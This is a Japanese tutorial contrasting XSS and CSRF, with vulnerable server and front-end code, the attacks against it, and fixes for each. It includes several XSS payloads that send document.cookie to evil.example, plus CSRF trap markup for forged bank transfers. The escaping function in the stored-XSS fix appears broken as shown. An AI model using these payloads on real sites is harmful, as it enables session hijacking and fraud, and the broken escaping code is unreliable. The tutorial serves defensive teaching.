どちらも「Webの信頼」を悪用しますが、悪用する信頼の向きが逆です。XSS はサイトがユーザーを信頼しすぎること、CSRF はサイトがブラウザを信頼しすぎることを突きます。ここが腹落ちすれば、対策が別物になる理由も見えます。
他人のブラウザで、悪意あるスクリプトを実行させる。サイトが受け取った入力を、無害化せずページに埋め込んでしまうのが原因。
ログイン済みユーザーに、意図しない操作を送信させる。ブラウザが Cookie を自動送信する仕組みに便乗する。
2つの攻撃は、Webアプリが暗黙に置いている「信頼」の別々の穴を突きます。まず絵で捉えます。
XSS はコードを実行させる攻撃、CSRF は操作をさせる攻撃。XSS で奪ったスクリプト実行権を使って CSRF 対策トークンごと盗む、という合わせ技もあり、XSS があると CSRF 対策は無力化されがちです。だから優先度は XSS の根絶が上。
XSS の根っこは1つです。ユーザーが入力した文字列を、HTML/JavaScript として解釈される場所へ、無害化せずに出力してしまうこと。ブラウザは「データ」と「コード」を見た目で区別できないので、<script> と書かれていればコードとして実行します。
大事なのは、実行されたスクリプトが「被害者のブラウザで、そのサイトのオリジンの権限で」動く点です。つまり被害者のログインセッションをそのまま使えます。以下、3タイプそれぞれで脆弱なコード → なぜ発火するか → 直し方を具体的に見ます。
// 保存されたコメントを一覧表示(危険)
app.get('/board', (req, res) => {
const rows = db.all('SELECT body FROM comments');
const html = rows.map(r => `<div class="c">${r.body}</div>`).join('');
res.send(html); // r.body を無害化せず埋め込んでいる
});
攻撃者がコメント本文に <script>fetch('https://evil.example/c?d='+document.cookie)</script> を投稿すると、それが DB に保存される。以降その掲示板を開いた人全員のブラウザで、テンプレートリテラルに直接埋め込まれた ${r.body} がタグごと出力され、スクリプトとして実行される。攻撃者は一度投稿するだけで、以後の閲覧者を自動で巻き込めるのが格納型の怖さ。
閲覧者のセッション Cookie が攻撃者サーバーへ送られ、セッションが乗っ取られる。管理者がその掲示板を開けば管理者セッションが盗まれ、被害が一気に拡大する(self-propagating な XSS ワームもこの型)。
const esc = s => s.replace(/[&<>"']/g, c =>
({'&':'&','<':'<','>':'>','"':'"',"'":'''}[c]));
const html = rows.map(r => `<div class="c">${esc(r.body)}</div>`).join('');
エスケープすると <script> は <script> になり、「実行されるタグ」ではなく「画面に見える文字列」になる。テンプレートエンジン(EJS の <%= %>、Handlebars の {{ }})を使えば既定でこれをやってくれる。
// 「"○○" の検索結果」と表示したいだけ(危険)
$q = $_GET['q'];
echo "<h2>“$q” の検索結果</h2>";
攻撃者はこんな URL を作り、標的に踏ませる:
https://shop.example/search.php?q=<script>fetch('https://evil.example/s?c='+document.cookie)</script>
サーバーは $q をそのまま <h2> の中に反射するので、リンクを踏んだ被害者のブラウザでスクリプトが即実行される。保存はされないので、「攻撃 URL を踏ませる」フィッシングとセットで使われる。短縮 URL やメールのリンクに仕込むのが典型。
被害者がリンクを踏んだ瞬間に、その人のログインセッションで動作。Cookie 送信のほか、ページ上に偽のログインフォームを描画してパスワードを入力させる(実在サイト上に出るので気づきにくい)といった手口に発展する。
$q = $_GET['q'];
echo "<h2>“" . htmlspecialchars($q, ENT_QUOTES, 'UTF-8') . "” の検索結果</h2>";
ENT_QUOTES でシングル/ダブル両方のクォートも変換する。属性値の中(value="...")に出す場合は特にクォートのエスケープが効いてくる。
// #welcome=名前 を挨拶に反映したいだけ(危険)
const name = decodeURIComponent(location.hash.slice(1));
document.querySelector('#greet').innerHTML = 'ようこそ ' + name;
攻撃 URL:https://app.example/#<img src=x onerror="fetch('https://evil.example/d?c='+document.cookie)">
location.hash の値を innerHTML に代入した瞬間、ブラウザはそれを HTML として解釈し、<img> の onerror(画像読み込み失敗で発火)が動く。サーバーには # 以降が送られないため、サーバー側ログにも WAF にも痕跡が残りにくいのが DOM 型の特徴。原因は完全にフロントエンド実装側にある。
SPA でよく起きる。innerHTML・document.write・eval・$(...).html() あたりにユーザー由来の値が流れ込むと発火する。サーバー側のエスケープをいくら固めても、この経路は塞げない。
const name = decodeURIComponent(location.hash.slice(1));
document.querySelector('#greet').textContent = 'ようこそ ' + name;
// textContent はHTMLとして解釈せず、必ず「文字」として入れる
どうしても HTML を入れたいときは DOMPurify.sanitize() のようなサニタイザを通す。React/Vue でも dangerouslySetInnerHTML / v-html にユーザー値を渡すと同じ穴が開く。
データを HTML に出す瞬間に <→< などへ変換する。出力先ごとに正しいエスケープが違う点が肝:HTML本文、属性値、<script>内、URL、CSS でそれぞれ必要な処理が異なる。上の3例はいずれも「出力時」に対処している。
DOM 型はサーバーのエスケープでは防げない。textContent や setAttribute を使い、innerHTML・eval・document.write にユーザー値を流さない。必要なら DOMPurify を通す。
React の {}、Vue の {{ }} は既定でエスケープする。dangerouslySetInnerHTML や v-html のような自動エスケープを外す機能を安易に使わない。
実行してよいスクリプトの出所をブラウザに宣言するヘッダ。script-src 'self' でインラインスクリプトを禁止すれば、埋め込まれた <script> が実行されない。エスケープ漏れの保険になる多層防御。
セッション Cookie に HttpOnly を付けると document.cookie から読めなくなる。上の3例の document.cookie 窃取はこれだけで空振りになる被害軽減策(XSS 自体は残るので本丸はエスケープ)。
CSRF の根っこは、ブラウザの親切な仕様です。あるサイト宛のリクエストには、そのサイトの Cookie が自動で添付される——たとえそのリクエストが、別の(罠)サイトのページから発生していても。攻撃者は Cookie の中身を盗む必要がない。ブラウザに「代わりに送らせる」だけです。
被害者が銀行にログイン中(=セッション Cookie 保持)とする。罠サイトにこれを置くだけ。
<!-- 表示されない画像。読みにいく時点で送金GETが飛ぶ -->
<img src="https://bank.example/transfer?to=attacker&amount=100000">
ブラウザは src を取得しにいくとき bank.example の Cookie を自動添付。銀行から見れば正規セッション付きのリクエストなので、本人の指示と区別できない。状態を変える操作を GET で受けているのが根本の設計ミス。
「送金は POST だから安全」ではない。罠サイトは POST フォームを作って JS で自動送信できる。
<form id="f" action="https://bank.example/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="100000">
</form>
<script>document.getElementById('f').submit();</script> // 自動発射
フォームの送信先が別サイトでも、ブラウザは送信先(bank.example)の Cookie を付ける。被害者は罠ページを開いただけで POST 送金が実行される。GET/POST の別は CSRF 対策にならない。
CSRF が成立する3条件:①Cookie セッションで認証している ②操作の中身が予測可能(パラメータが読める)③リクエストの出所を検証していない。防御は③を塞ぐ=「本人の画面から来たリクエストか」を確かめること。
フォーム表示時にセッション紐付きのランダム値を埋め込み、送信時に照合する。罠サイトはこの値を知り得ない。
// フォーム表示時:トークンを生成してセッションに保存+埋め込む
const token = crypto.randomBytes(32).toString('hex');
req.session.csrf = token;
// <input type="hidden" name="_csrf" value="{token}"> として出力
// 送信受信時:一致しなければ拒否
app.post('/transfer', (req, res) => {
if (req.body._csrf !== req.session.csrf) return res.status(403).end();
// ← ここを通過したものだけ処理
});
例2の罠フォームは _csrf の正しい値を入れられないので 403 で弾かれる。多くのフレームワークに標準搭載(Synchronizer Token Pattern)。
Set-Cookie: session=...; SameSite=Lax(or Strict)で、別サイト起点のリクエストには Cookie が付かなくなる。例1・例2の前提そのものを崩す。現代ブラウザは Lax がほぼ既定だが、明示するのが安全。
サーバーで Origin/Referer が自サイトかを確認し、別サイト起点なら拒否。トークンと併用する多層防御。
送金・削除・設定変更は必ず POST/PUT/DELETE に。例1の <img> 一発は、そもそも GET で副作用を起こさなければ成立しない。
送金・パスワード変更ではパスワード再入力や確認ステップを要求。自動発射の一撃では通らなくなる。
| 観点 | XSS | CSRF |
|---|---|---|
| 正式名 | Cross-Site Scripting | Cross-Site Request Forgery |
| 何をされる | ブラウザで悪意のスクリプトを実行される | 本人の権限で意図しない操作を送信される |
| 悪用する信頼 | サイト → ユーザー入力 | サイト → ブラウザ(Cookie) |
| 攻撃者が奪うもの | スクリプト実行権(Cookie・DOM 何でも) | 操作の実行(Cookie 中身は見えない) |
| 主因 | 出力時の無害化漏れ | リクエスト出所の未検証 |
| 主対策 | 出力エスケープ・textContent・CSP・HttpOnly | CSRFトークン・SameSite・Origin検証 |
XSS = サイトが悪いスクリプトを「配ってしまう」/ CSRF = 本人に操作を「させてしまう」。XSS はデータをコードにさせない(エスケープ・textContent)、CSRF はリクエストの本人性を確かめる(トークン・SameSite)。守る層が違う。